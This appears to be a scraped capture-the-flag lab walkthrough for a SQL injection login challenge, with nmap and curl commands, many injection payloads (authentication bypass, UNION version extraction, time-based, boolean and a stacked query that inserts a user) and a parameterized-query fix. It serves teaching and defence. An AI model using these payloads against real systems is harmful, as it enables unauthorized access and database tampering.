Step 1: Click on the green button to Start the Lab
Step 2: Hack the URL or IP of the lab
Step 3: Use your skills and logic to find the flags!
<target-ip>:80
to understand the objectives and scenario.nmap -p 1-10000 <target-ip>
curl http://<target-ip>:8080/
# Test with valid format but wrong credentials
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=password"
# Test for SQL injection vulnerability
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'&password=test"
--
can be used to ignore the rest of the query, effectively bypassing the password check entirely.# Classic OR-based authentication bypass
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin' OR '1'='1&password=anything"
# Alternative payload
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin' OR 1=1--&password=test"
# Comment-based bypass
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'--&password=anything"
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin' OR '1'='1&password=test"
# Using UNION injection approach
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=' UNION SELECT 1--&password=test"
# Comment out password check
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'/*&password=*/OR/**/1=1--"
# Vulnerable SQL construction
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
admin' OR '1'='1
is used:# Resulting malicious query
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='test'
# Time-based payload
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'; WAITFOR DELAY '0:0:5'--&password=test"
# Boolean-based payload
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin' AND (SELECT COUNT(*) FROM users)>0--&password=test"
# Extract database version
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=' UNION SELECT @@version--&password=test"
# Password field SQL injection
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=' OR '1'='1"
# Stacked query injection
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'; INSERT INTO users VALUES('hacker','pass')--&password=test"
# URL encoded payload
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin%27%20OR%20%271%27%3D%271&password=test"
# Secure parameterized query (Python example)
import sqlite3
def authenticate_user(username, password):
conn = sqlite3.connect('database.db')
cursor = conn.cursor()
# Secure parameterized query
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))
result = cursor.fetchone()
conn.close()
return result is not None
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.